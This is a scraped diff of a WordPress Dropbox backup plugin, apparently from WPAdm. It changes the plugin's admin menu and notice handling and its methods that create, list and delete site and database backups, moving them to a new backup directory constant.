+ $stars5 = file_exists( WPAdm_Core::getTmpDir() . "/notice-star");
649
+ $plugin_data = array_values( get_plugins('/dropbox-backup') );
650
+ $is_runnig = WPAdm_Running::is_running();
651
+ $show = !get_option('wpadm_pub_key') && is_super_admin();
652
+ $error = parent::getError(true);
653
+ $msg = parent::getMessage(true);
654
+ $base_path = DRBBACKUP_BASE_DIR ;
655
+ ob_start();
656
+ require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
657
+ echo ob_get_clean();
658
+ }
659
+
660
+
661
+ public static function draw_menu()
662
+ {
663
+ $show = true;
664
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
665
+ if ($dropbox_options) {
666
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
667
+ }
668
+ if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
669
+ if (!is_admin() || !is_super_admin()) {
670
+ $show = false;
671
+ }
672
+ }
673
+ if ($show) {
674
+ $menu_position = '1.9998887771';
675
+ if(self::checkInstallWpadmPlugins()) {
676
+ $page = add_menu_page(
677
+ 'WPAdm',
678
+ 'WPAdm',
679
+ "read",
680
+ 'wpadm_plugins',
681
+ 'wpadm_plugins',
682
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ )),
683
+ $menu_position
684
+ );
685
+ add_submenu_page(
686
+ 'wpadm_plugins',
687
+ "Dropbox Full Backup",
688
+ "Dropbox Full Backup",
689
+ 'read',
690
+ 'wpadm_wp_full_backup_dropbox',
691
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup')
692
+ );
693
+ } else {
694
+ $page = add_menu_page(
695
+ 'Dropbox Full Backup',
696
+ 'Dropbox Full Backup',
697
+ "read",
698
+ 'wpadm_wp_full_backup_dropbox',
699
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup'),
700
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ ) ),
701
+ $menu_position
702
+ );
703
+
704
+ add_submenu_page(
705
+ 'wpadm_wp_full_backup_dropbox',
706
+ "WPAdm",
707
+ "WPAdm",
708
+ 'read',
709
+ 'wpadm_plugins',
710
+ 'wpadm_plugins'
711
+ );
712
+ }
713
+
714
+ }
715
+ }
716
+ public static function notice()
717
+ {
718
+ if (!isset($_GET['page']) || ( isset($_GET['page']) && $_GET['page'] != 'wpadm_wp_full_backup_dropbox' ) ) {
719
+ $notice_file = DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice.php";
720
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/notice") && file_exists($notice_file)) {
721
+ ob_start();
722
+ include_once $notice_file;
723
+ echo ob_get_clean();
724
+ }
725
+ }
726
+ }
727
+ public static function hide_notice()
728
+ {
729
+ if (isset($_GET['type'])) {
730
+ switch($_GET['type']) {
731
+ case 'preview' :
732
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice", 1);
733
+ break;
734
+ case 'star' :
735
+ if (isset($_GET['hide']) && $_GET['hide'] == '1d') {
736
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", time() . '_w');
737
+ } elseif ( ( isset($_GET['hide']) && $_GET['hide'] == 'week' ) || !isset($_GET['hide']) ) {
738
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", 0);
739
+ }
740
+ break;
741
+ }
742
+ }
743
+ header('location:' . $_SERVER['HTTP_REFERER']);
744
+ exit;
745
+ }
746
+ }
747
+ }
748
+
749
+ ?>
methods/class-wpadm-method-backup-delete.php CHANGED
@@ -1,28 +1,28 @@
1
- <?php
2
- /**
3
- * Delete backup
4
- * Class WPAdm_Method_Backup_Delete
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
- class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = realpath(ABSPATH . '/wpadm_backups/' . $this->params['name']);
11
- if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'wpadm_backups' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
- $this->result->setError('Wrong name backup');
14
- } else {
15
- if (is_dir($backups_dir)) {
16
- WPAdm_Core::rmdir($backups_dir);
17
- if (!is_dir($backups_dir)) {
18
- $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
- } else {
20
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
- $this->result->setError('Failed to remove backup');
22
- }
23
- }
24
- }
25
- return $this->result;
26
- }
27
- }
28
  }
1
+ <?php
2
+ /**
3
+ * Delete backup
4
+ * Class WPAdm_Method_Backup_Delete
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
+ class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = realpath(DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name']);
11
+ if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'DROPBOX_BACKUP_DIR_NAME' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
+ $this->result->setError('Wrong name backup');
14
+ } else {
15
+ if (is_dir($backups_dir)) {
16
+ WPAdm_Core::rmdir($backups_dir);
17
+ if (!is_dir($backups_dir)) {
18
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
+ } else {
20
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
+ $this->result->setError('Failed to remove backup');
22
+ }
23
+ }
24
+ }
25
+ return $this->result;
26
+ }
27
+ }
28
  }
methods/class-wpadm-method-backup-list.php CHANGED
@@ -1,45 +1,45 @@
1
- <?php
2
- /**
3
- * Return a list of backups
4
- * Class WPAdm_Method_Exec
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_List')) {
7
- class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = ABSPATH . '/wpadm_backups/';
11
- $dirs = glob($backups_dir . '*');
12
-
13
- $backups = array();
14
- foreach($dirs as $dir) {
15
- if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
- $tmp = explode('/', $dir);
17
- $name = array_pop($tmp);
18
- list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
- $dt = "$y-$m-$d $h:$i";
20
- $backup = array(
21
- 'name' => $name,
22
- 'type' => $mm[2],
23
- 'dt' => $dt,
24
- );
25
- $files = glob($dir . '/*.zip');
26
- $size = 0;
27
- foreach($files as $k=>$v) {
28
- $size += (int)filesize($v);
29
- $files[$k] = str_replace(ABSPATH, '', $v);
30
- }
31
- $backup['files'] = $files;
32
- $backup['size'] = $size;
33
- if ($size > 0) {
34
- $backups[] = $backup;
35
- }
36
-
37
- }
38
- }
39
- $this->result->setData($backups);
40
- $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
- return $this->result;
42
- }
43
-
44
- }
45
  }
1
+ <?php
2
+ /**
3
+ * Return a list of backups
4
+ * Class WPAdm_Method_Exec
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_List')) {
7
+ class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = DROPBOX_BACKUP_DIR_BACKUP . '/';
11
+ $dirs = glob($backups_dir . '*');
12
+
13
+ $backups = array();
14
+ foreach($dirs as $dir) {
15
+ if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
+ $tmp = explode('/', $dir);
17
+ $name = array_pop($tmp);
18
+ list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
+ $dt = "$y-$m-$d $h:$i";
20
+ $backup = array(
21
+ 'name' => $name,
22
+ 'type' => $mm[2],
23
+ 'dt' => $dt,
24
+ );
25
+ $files = glob($dir . '/*.zip');
26
+ $size = 0;
27
+ foreach($files as $k=>$v) {
28
+ $size += (int)filesize($v);
29
+ $files[$k] = str_replace(ABSPATH, '', $v);
30
+ }
31
+ $backup['files'] = $files;
32
+ $backup['size'] = $size;
33
+ if ($size > 0) {
34
+ $backups[] = $backup;
35
+ }
36
+
37
+ }
38
+ }
39
+ $this->result->setData($backups);
40
+ $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
+ return $this->result;
42
+ }
43
+
44
+ }
45
  }
methods/class-wpadm-method-backup.php CHANGED
@@ -1,451 +1,407 @@
1
- <?php
2
- /**
3
- * Бэкап сайта
4
- * Class WPadm_Method_Backup
5
- */
6
- if (!class_exists('WPadm_Method_Backup')) {
7
- class WPadm_Method_Backup extends WPAdm_Method_Class {
8
- /**
9
- * Уникальный идентификатор текущего объекта
10
- * @var String
11
- */
12
- private $id;
13
-
14
- /**
15
- * Unixtimestamp, когда был запущен метод
16
- * @var Int
17
- */
18
- private $stime;
19
-
20
- /**
21
- * @var WPAdm_Queue
22
- */
23
- private $queue;
24
-
25
- /**
26
- * @var string
27
- */
28
- private $dir;
29
-
30
- /**
31
- * @var string
32
- */
33
- private $tmp_dir;
34
-
35
- /**
36
- * Тип бэкапа
37
- * @var string [full|db]
38
- */
39
- private $type = 'full';
40
-
41
- private $name = '';
42
-
43
- public function __construct($params) {
44
- parent::__construct($params);
45
- $this->init(
46
- array(
47
- 'id' => uniqid('wpadm_method_backup__'),
48
- 'stime' => time(),
49
- 'type' => $params['type'],
50
- )
51
- );
52
-
53
-
54
- //папка для временных файлов
55
- // $this->tmp_dir = WPAdm_Core::getTmpDir() . '/' . $this->id;
56
- // WPAdm_Core::mkdir($this->tmp_dir);
57
-
58
- $name = get_option('siteurl');
59
-
60
- $name = str_replace("http://", '', $name);
61
- $name = str_replace("https://", '', $name);
62
- $name = preg_replace("|\W|", "_", $name);
63
- $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
64
- $this->name = $name;
65
-
66
- // папка для бэкапа
67
- $this->dir = ABSPATH . '/wpadm_backups/' . $this->name;
68
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backups/');
69
- WPAdm_Core::mkdir($this->dir);
70
- }
71
-
72
- public function getResult()
73
- {
74
- $errors = array();
75
-
76
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
77
- $this->result->setError('');
78
-
79
-
80
- #ОТЛАДКА, нужно удалить
81
- //todo: удалить
82
- unlink(dirname(__FILE__) . '/../tmp/log.log');
83
- #конец отладки
84
-
85
- WPAdm_Core::log('Начинаем бэкап');
86
-
87
- # СОЗДАДИМ ДАМП БД
88
- WPAdm_Core::log('Начинаем создание дампа БД');
89
- // добавим в очередь создание бэкапа БД и выполним
90
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backup');
91
- $mysql_dump_file = ABSPATH . '/wpadm_backup/mysqldump.sql';
92
- if (file_exists($mysql_dump_file)) {
93
- unlink($mysql_dump_file);
94
- }
95
- $wp_mysql_params = $this->getWpMysqlParams();
96
-
97
- if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
98
- WPAdm_Core::log('Оптимизцация таблиц БД');
99
- $commandContext = new WPAdm_Command_Context();
100
- $commandContext ->addParam('command','mysqloptimize')
101
- ->addParam('host', $wp_mysql_params['host'])
102
- ->addParam('db', $wp_mysql_params['db'])
103
- ->addParam('user', $wp_mysql_params['user'])
104
- ->addParam('password', $wp_mysql_params['password']);
105
- $this->queue->clear()
106
- ->add($commandContext);
107
- unset($commandContext);
108
- }
109
-
110
- $commandContext = new WPAdm_Command_Context();
111
- $commandContext ->addParam('command','mysqldump')
112
- ->addParam('host', $wp_mysql_params['host'])
113
- ->addParam('db', $wp_mysql_params['db'])
114
- ->addParam('user', $wp_mysql_params['user'])
115
- ->addParam('password', $wp_mysql_params['password'])
116
- ->addParam('tables', '')
117
- ->addParam('to_file', $mysql_dump_file);
118
- $res = $this->queue->add($commandContext)
119
- ->save()
120
- ->execute();
121
-
122
- if (!$res) {
123
- WPAdm_Core::log('Дамп БД не создан('.$this->queue->getError().')');
124
- $errors[] = 'MySQL error: '.$this->queue->getError();
125
- } elseif (0 == (int)filesize($mysql_dump_file)) {
126
- $errors[] = 'MySQL error: empty dump-file';
127
- WPAdm_Core::log('Дамп БД не создан(пустой файл)');
128
- } else {
129
- WPAdm_Core::log('Дамп БД создан('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
130
- }
131
- unset($commandContext);
132
-
133
-
134
- #ЗАРХИВИРУЕМ ФАЙЛЫ
135
- WPAdm_Core::log('Начинаем подготовку списка файлов');
136
- // список файлов для архивации
137
- if ($this->type == 'full') {
138
- $files = $this->createListFilesForArchive();
139
- } else {
140
- $files = array();
141
- }
142
- if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
143
- $files[] = $mysql_dump_file;
144
- }
145
-
146
- if (empty($files)) {
147
- $errors[] = 'Empty list files';
148
- }
149
-
150
- // разабьем список файлов на списки по 170кбайт,
151
- // чтобы разбить одну большую задачу на маленькие
152
- $files2 = array();
153
- $files2[0] = array();
154
- $i = 0;
155
- $size = 0;
156
- foreach($files as $f) {
157
- if ($size > 170000) {//~170kbyte
158
- $i ++;
159
- $size = 0;
160
- $files2[$i] = array();
161
- }
162
- $f_size =(int)filesize($f);
163
- if ($f_size == 0 || $f_size > 1000000) {
164
- WPAdm_Core::log('file '. $f .' size ' . $f_size);
165
- }
166
- $size += $f_size;
167
- $files2[$i][] = $f;
168
- }
169
-
170
- WPAdm_Core::log('Список файлов подготовлен');
171
- // подготовим очередь к выполнению
172
- $this->queue->clear();
173
-
174
- foreach($files2 as $files) {
175
- $commandContext = new WPAdm_Command_Context();
176
- $commandContext ->addParam('command','archive')
177
- ->addParam('files', $files)
178
- ->addParam('to_file', $this->dir . '/'.$this->name)
179
- ->addParam('max_file_size', 900000)
180
- ->addParam('remove_path', ABSPATH);
181
-
182
- $this->queue->add($commandContext);
183
- unset($commandContext);
184
- }
185
- WPAdm_Core::log('Начинаем архивацию файлов');
186
- // сохраним и выполним
187
- $this->queue->save()
188
- ->execute();
189
- WPAdm_Core::log('Закочили архивацию файлов');
190
-
191
- $files = glob($this->dir . '/'.$this->name . '*');
192
- $urls = array();
193
- foreach($files as $file) {
194
- $urls[] = str_replace(ABSPATH, '', $file);
195
- }
196
- $this->result->setData($urls);
197
-
198
-
199
- # КОПИРОВАНИЕ ФАЙЛОВ НА FTP
200
- if (isset($this->params['storage']) && $this->params['storage']['type'] == 'ftp') {
201
- WPAdm_Core::log('Начинаем копирование файлов на FTP');
202
- $this->queue->clear();
203
- $files = glob($this->dir . '/'.$this->name . '*');
204
- //$this->getResult()->setData($files);
205
- $ad = $this->params['storage']['access_details'];
206
- $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
207
- $dir = trim($dir, '/') . '/' . $this->name;
208
- foreach($files as $file) {
209
- $commandContext = new WPAdm_Command_Context();
210
- $commandContext ->addParam('command','send_to_ftp')
211
- ->addParam('file', $file)
212
- ->addParam('host', $ad['host'])
213
- ->addParam('port', (isset($ad['port']))? $ad['port'] : 21)
214
- ->addParam('user', $ad['user'])
215
- ->addParam('password', $ad['password'])
216
- ->addParam('dir', $dir)
217
- ->addParam('http_host', isset($ad['http_host']) ? $ad['http_host'] : '');
218
- $this->queue->add($commandContext);
219
- unset($commandContext);
220
- }
221
- $res = $this->queue->save()
222
- ->execute();
223
- if (!$res) {
224
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
225
- $errors[] = 'FTP: '.$this->queue->getError();
226
- }
227
- WPAdm_Core::log('Закончили копирование файлов на FTP');
228
- if (isset($this->params['storage']['remove_from_server']) && $this->params['storage']['remove_from_server'] == 1 ) {
229
- // удаляем файлы на сервере
230
- WPAdm_Core::log('Удаляем бэкап на сервере');
231
- WPAdm_Core::rmdir($this->dir);
232
- }
233
- }
234
-
235
- #УДАЛЕНИЕ TMP-ФАЙЛОВ
236
- //todo: УДАЛЕНИЕ TMP-ФАЙЛОВ
237
- WPAdm_Core::rmdir(ABSPATH.'/wpadm_backup');
238
-
239
- #УДАЛЕНИЕ СТАРЫХ АРХИВОВ(те что не влазят в лимит)
240
- //todo: не правмльно удаляет, если есть ооба типа бэкапа
241
- WPAdm_Core::log('Начинаем удалять старые архивы');
242
- if ($this->params['limit'] != 0) {
243
- $files = glob(ABSPATH . '/wpadm_backups/*');
244
- if (count($files) > $this->params['limit']) {
245
- $files2 = array();
246
- foreach($files as $f) {
247
- $fa = explode('-', $f);
248
- if (count($fa) != 3) {
249
- continue;
250
- }
251
- $files2[$fa[2]] = $f;
252
-
253
- }
254
- ksort($files2);
255
- $d = count($files2) - $this->params['limit'];
256
- $del = array_slice($files2, 0, $d);
257
- foreach($del as $d) {
258
- WPAdm_Core::rmdir($d);
259
- }
260
- }
261
- }
262
- WPAdm_Core::log('Закончили удалять старые архивы');
263
-
264
- WPAdm_Core::log('Бэкап завершен');
265
-
266
- if (!empty($errors)) {
267
- $this->result->setError(implode("\n", $errors));
268
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
269
- }
270
-
271
- return $this->result;
272
-
273
-
274
- }
275
-
276
-
277
-
278
- public function createListFilesForArchive() {
279
- $folders = array();
280
- $files = array();
281
-
282
- $files = array_merge(
283
- $files,
284
- array(
285
- ABSPATH .'/.htaccess',
286
- ABSPATH .'/index.php',
287
- ABSPATH .'/license.txt',
288
- ABSPATH .'/readme.html',
289
- ABSPATH .'/wp-activate.php',
290
- ABSPATH .'/wp-blog-header.php',
291
- ABSPATH .'/wp-comments-post.php',
292
- ABSPATH .'/wp-config.php',
293
- ABSPATH .'/wp-config-sample.php',
294
- ABSPATH .'/wp-cron.php',
295
- ABSPATH .'/wp-links-opml.php',
296
- ABSPATH .'/wp-load.php',
297
- ABSPATH .'/wp-login.php',
298
- ABSPATH .'/wp-mail.php',
299
- ABSPATH .'/wp-settings.php',
300
- ABSPATH .'/wp-signup.php',
301
- ABSPATH .'/wp-trackback.php',
302
- ABSPATH .'/xmlrpc.php',
303
- )
304
- );
305
-
306
- if (!empty($this->params['minus-path'])) {
307
- foreach($files as $k=>$v) {
308
- $v = str_replace(ABSPATH .'/' , '', $v);
309
- if (in_array($v, $this->params['minus-path'])) {
310
- unset($files[$k]);
311
- WPAdm_Core::log('Пропускаем файл ' . $v);
312
- }
313
- }
314
- }
315
-
316
- $folders = array_merge(
317
- $folders,
318
- array(
319
- ABSPATH .'/wp-admin',
320
- ABSPATH .'/wp-content',
321
- ABSPATH .'/wp-includes',
322
- )
323
- );
324
-
325
- foreach($this->params['plus-path'] as $p) {
326
- if (empty($p)) {
327
- continue;
328
- }
329
- $p = ABSPATH .'/' . $p;
330
- if (file_exists($p)) {
331
- if (is_dir($p)) {
332
- $folders[] = $p;
333
- } else{
334
- $files[] = $p;
335
- }
336
- }
337
- }
338
-
339
- $folders = array_unique($folders);
340
- $files = array_unique($files);
341
-
342
- foreach($folders as $folder) {
343
- if (!is_dir($folder)) {
344
- continue;
345
- }
346
- $files = array_merge($files, $this->directoryToArray($folder, true));
347
- }
348
- return $files;
349
- }
350
-
351
-
352
- private function directoryToArray($directory, $recursive) {
353
- $array_items = array();
354
-
355
- $d = str_replace(ABSPATH . '/', '', $directory);
356
- // пропускаем ненужные директории
357
-
358
- if (
359
- in_array($d, $this->params['minus-path'])
360
- ) {
361
- WPAdm_Core::log('Пропускаем папку ' . $directory);
362
- return array();
363
- }
364
-
365
- $d = str_replace('\\', '/', $d);
366
- $tmp = explode('/', $d);
367
- $d1 = mb_strtolower($tmp[0]);
368
- unset($tmp[0]);
369
- $d2 = mb_strtolower(implode('/', $tmp));
370
- // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
371
- // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
372
- // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
373
- if (strpos($d2, 'cache') !== false
374
- && !in_array($tmp[0], array('plugins', 'themes'))
375
- ) {
376
- WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
377
- return array();
378
- }
379
-
380
- if ($handle = opendir($directory)) {
381
- while (false !== ($file = readdir($handle))) {
382
- if ($file != "." && $file != "..") {
383
- if (is_dir($directory. "/" . $file)) {
384
- if($recursive) {
385
- $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
386
- }
387
-
388
- $file = $directory . "/" . $file;
389
- if (!is_dir($file)) {
390
- $ff = preg_replace("/\/\//si", "/", $file);
391
- $f = str_replace(ABSPATH . '/', '', $ff);
392
- // пропускаем ненужные директории
393
- if (!in_array($f, $this->params['minus-path'])) {
394
- $array_items[] = $ff;
395
- } else {
396
- WPAdm_Core::log('Пропускаем файл ' . $ff);
397
- }
398
- }
399
- } else {
400
- $file = $directory . "/" . $file;
401
- if (!is_dir($file)) {
402
- $ff = preg_replace("/\/\//si", "/", $file);
403
- $f = str_replace(ABSPATH . '/', '', $ff);
404
- // пропускаем ненужные директории
405
- if (!in_array($f, $this->params['minus-path'])) {
406
- $array_items[] = $ff;
407
- } else {
408
- WPAdm_Core::log('Пропускаем файл ' . $ff);
409
- }
410
- }
411
- }
412
- }
413
- }
414
- closedir($handle);
415
- }
416
- return $array_items;
417
- }
418
-
419
-
420
- /*
421
- * Берем реквизиты доступа к MySQL из параметров WP
422
- * return Array()
423
- */
424
- private function getWpMysqlParams()
425
- {
426
- $db_params = array(
427
- 'password' => 'DB_PASSWORD',
428
- 'db' => 'DB_NAME',
429
- 'user' => 'DB_USER',
430
- 'host' => 'DB_HOST',
431
- );
432
-
433
- $r = "/define\('(.*)', '(.*)'\)/";
434
- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
435
- $params = array_combine($m[1], $m[2]);
436
- foreach($db_params as $k=>$p) {
437
- $db_params[$k] = $params[$p];
438
- }
439
- return $db_params;
440
- }
441
-
442
-
443
- private function init(array $conf) {
444
- //todo: нормализация
445
- $this->id = $conf['id'];
446
- $this->stime = $conf['stime'];
447
- $this->queue = new WPAdm_Queue($this->id);
448
- $this->type = $conf['type'];
449
- }
450
- }
451
  }
1
+ <?php
2
+ /**
3
+ * Бэкап сайта
4
+ * Class WPadm_Method_Backup
5
+ */
6
+ if (!class_exists('WPadm_Method_Backup')) {
7
+ class WPadm_Method_Backup extends WPAdm_Method_Class {
8
+ /**
9
+ * Уникальный идентификатор текущего объекта
10
+ * @var String
11
+ */
12
+ private $id;
13
+
14
+ /**
15
+ * Unixtimestamp, когда был запущен метод
16
+ * @var Int
17
+ */
18
+ private $stime;
19
+
20
+ /**
21
+ * @var WPAdm_Queue
22
+ */
23
+ private $queue;
24
+
25
+ /**
26
+ * @var string
27
+ */
28
+ private $dir;
29
+
30
+ /**
31
+ * @var string
32
+ */
33
+ private $tmp_dir;
34
+
35
+ /**
36
+ * Тип бэкапа
37
+ * @var string [full|db]
38
+ */
39
+ private $type = 'full';
40
+
41
+ private $name = '';
42
+
43
+ public function __construct($params) {
44
+ parent::__construct($params);
45
+ $this->init(
46
+ array(
47
+ 'id' => uniqid('wpadm_method_backup__'),
48
+ 'stime' => time(),
49
+ 'type' => $params['type'],
50
+ )
51
+ );
52
+
53
+ $name = get_option('siteurl');
54
+
55
+ $name = str_replace("http://", '', $name);
56
+ $name = str_replace("https://", '', $name);
57
+ $name = preg_replace("|\W|", "_", $name);
58
+ $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
59
+ $this->name = $name;
60
+
61
+ // папка для бэкапа
62
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
+ }
74
+
75
+ public function getResult()
76
+ {
77
+ $errors = array();
78
+
79
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
+ $this->result->setError('');
81
+
82
+ @unlink(dirname(__FILE__) . '/../tmp/log.log');
83
+
84
+ WPAdm_Core::log('Start backup create');
85
+ WPAdm_Core::log('Create dump Data Base');
86
+
87
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
88
+ if (file_exists($mysql_dump_file)) {
89
+ unlink($mysql_dump_file);
90
+ }
91
+ $wp_mysql_params = $this->getWpMysqlParams();
92
+
93
+ if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
94
+ WPAdm_Core::log('optimization Database');
95
+ $commandContext = new WPAdm_Command_Context();
96
+ $commandContext ->addParam('command','mysqloptimize')
97
+ ->addParam('host', $wp_mysql_params['host'])
98
+ ->addParam('db', $wp_mysql_params['db'])
99
+ ->addParam('user', $wp_mysql_params['user'])
100
+ ->addParam('password', $wp_mysql_params['password']);
101
+ $this->queue->clear()
102
+ ->add($commandContext);
103
+ unset($commandContext);
104
+ }
105
+
106
+ $commandContext = new WPAdm_Command_Context();
107
+ $commandContext ->addParam('command','mysqldump')
108
+ ->addParam('host', $wp_mysql_params['host'])
109
+ ->addParam('db', $wp_mysql_params['db'])
110
+ ->addParam('user', $wp_mysql_params['user'])
111
+ ->addParam('password', $wp_mysql_params['password'])
112
+ ->addParam('tables', '')
113
+ ->addParam('to_file', $mysql_dump_file);
114
+ $res = $this->queue->add($commandContext)
115
+ ->save()
116
+ ->execute();
117
+
118
+ if (!$res) {
119
+ $log = langWPADM::get('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%domain', '%s'), array(SITE_HOME, $this->queue->getError() ) );
120
+ WPAdm_Core::log($log);
121
+ $errors[] = $log;
122
+ } elseif (0 == (int)filesize($mysql_dump_file)) {
123
+ $log = langWPADM::get('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP));
124
+ $errors[] = $log;
125
+ WPAdm_Core::log($log);
126
+ } else {
127
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
128
+ $log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
129
+ WPAdm_Core::log($log . ' '. str_replace(ABSPATH, '', $mysql_dump_file) );
130
+ }
131
+ unset($commandContext);
132
+
133
+
134
+ WPAdm_Core::log('Start Created List Files');
135
+ if ($this->type == 'full') {
136
+ $files = $this->createListFilesForArchive();
137
+ } else {
138
+ $files = array();
139
+ }
140
+ if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
+ $files[] = $mysql_dump_file;
142
+ }
143
+
144
+ if (empty($files)) {
145
+ $errors[] = 'Empty list files';
146
+ }
147
+
148
+ $files2 = array();
149
+ $files2[0] = array();
150
+ $i = 0;
151
+ $size = 0;
152
+ foreach($files as $f) {
153
+ if ($size > 170000) {//~170kbyte
154
+ $i ++;
155
+ $size = 0;
156
+ $files2[$i] = array();
157
+ }
158
+ $f_size =(int)filesize($f);
159
+ if ($f_size == 0 || $f_size > 1000000) {
160
+ WPAdm_Core::log('file '. $f .' size ' . $f_size);
161
+ }
162
+ $size += $f_size;
163
+ $files2[$i][] = $f;
164
+ }
165
+
166
+ WPAdm_Core::log('Сreated List Files is successfully');
167
+ $this->queue->clear();
168
+
169
+ foreach($files2 as $files) {
170
+ $commandContext = new WPAdm_Command_Context();
171
+ $commandContext ->addParam('command','archive')
172
+ ->addParam('files', $files)
173
+ ->addParam('to_file', $this->dir . '/'.$this->name)
174
+ ->addParam('max_file_size', 900000)
175
+ ->addParam('remove_path', ABSPATH);
176
+
177
+ $this->queue->add($commandContext);
178
+ unset($commandContext);
179
+ }
180
+ WPAdm_Core::log('Start archived files');
181
+ // сохраним и выполним
182
+ $this->queue->save()
183
+ ->execute();
184
+ WPAdm_Core::log('End archived files');
185
+
186
+ $files = glob($this->dir . '/'.$this->name . '*');
187
+ $urls = array();
188
+ foreach($files as $file) {
189
+ $urls[] = str_replace(ABSPATH, '', $file);
190
+ }
191
+ $this->result->setData($urls);
192
+
193
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
194
+
195
+ if ($this->params['limit'] != 0) {
196
+ WPAdm_Core::log('Start deleted old backup');
197
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
198
+ if (count($files) > $this->params['limit']) {
199
+ $files2 = array();
200
+ foreach($files as $f) {
201
+ $fa = explode('-', $f);
202
+ if (count($fa) != 3) {
203
+ continue;
204
+ }
205
+ $files2[$fa[2]] = $f;
206
+
207
+ }
208
+ ksort($files2);
209
+ $d = count($files2) - $this->params['limit'];
210
+ $del = array_slice($files2, 0, $d);
211
+ foreach($del as $d) {
212
+ WPAdm_Core::rmdir($d);
213
+ }
214
+ }
215
+ WPAdm_Core::log('Finish deleted old backups');
216
+ }
217
+ WPAdm_Core::log('Finish create');
218
+
219
+ if (!empty($errors)) {
220
+ $this->result->setError(implode("\n", $errors));
221
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
222
+ }
223
+
224
+ return $this->result;
225
+
226
+
227
+ }
228
+
229
